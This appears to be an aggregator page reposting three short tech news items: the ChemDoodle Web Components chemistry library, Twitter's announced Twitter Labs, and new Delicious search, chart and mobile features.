ChemDoodle Web Components are pure javascript objects derived from ChemDoodle™ to solve common chemistry related tasks on the web. These components are powerful, fully customizable, easy to implement, and are free under the open source GPL license.

The page shows example usage of the components. To use the 3D Rotator component, for example, you just provide some JavaScript to configure it:

Go to Source

Britt Selvitelle, Twitter’s user experience and front end engineering lead, said Friday that the company will soon launch Twitter Labs. The service will let developers create add-ons and other functions for the microblogging site. Of course, developers can already do this with Twitter’s API, but this will make Twitter a formal participant in the process.

Selvitelle announced the project at the Future of Web Apps conference in London. He did not offer many details, but it sounds similar in function to Google Labs. Google Labs, for example, launches every few weeks (or sometimes days) new experimental functions for Gmail. The Undo Send feature, which lets people recall an e-mail within seconds of sending it, is one example.

Will Twitter Labs do the same? One can at least hope. In which case, I will be able to recall Tweets like this.

Originally posted at News – Digital Media

Go to Source

Among the new features is the ability to narrow any search down to spans of a mere five minutes. While it’s not for everyone, if you’re trying to find better ways to filter the fire hose of information that is real-time data, Delicious’ new search tool is an easy way to do it.

There’s also a very cool new interactive graph for filtering bookmarks around larger chunks of time. For example, if you wanted to see all your bookmarks added on this day last year, just click the interactive graph, select the start and end points and then click the search button to narrow the results.

While narrowing by time is hardly a new feature, the graphical interface is considerably more intuitive (and cooler) than simply plugging your dates in a text field. If nothing else, it’s a nice example of how much careful attention to interface design can improve a website.

In fact, the new Delicious seems to have something of fetish for charts and graphs. Charts also appear on each link’s “count” page, showing who has bookmarked it. For example, the Webmonkey homepage has been bookmarked over 5500 times, but the new chart (click the chart icon to see it) reveals a huge spike in June 2008 shortly after we relaunched the site.

Delicious’ new charts aren’t limited to the site either. There’s a new “Tagometer” widget that allows you to embed a chart on your own pages showing the number of saves over time and the most frequently-used tags. Right now you’ll need to cut-and-paste some JavaScript into your pages, but it probably won’t be long before someone creates a plug-in for WordPress and other platforms.

The final change Delicious has unveiled is an iPhone-optimized mobile site. The site is geared toward making it easier to bookmark pages on the iPhone, so you can read them later. While we prefer Instapaper for that sort of thing, the Delicious mobile site has other options — like quickly browsing recent bookmarks — which heavy users will appreciate.

See Also:

• Revamped Delicious Turns to Twitter for Real-Time Search
• Send Web Video to Boxee With Delicious Bookmarks
• Delicious Gets New Look, Loses Dots

Go to Source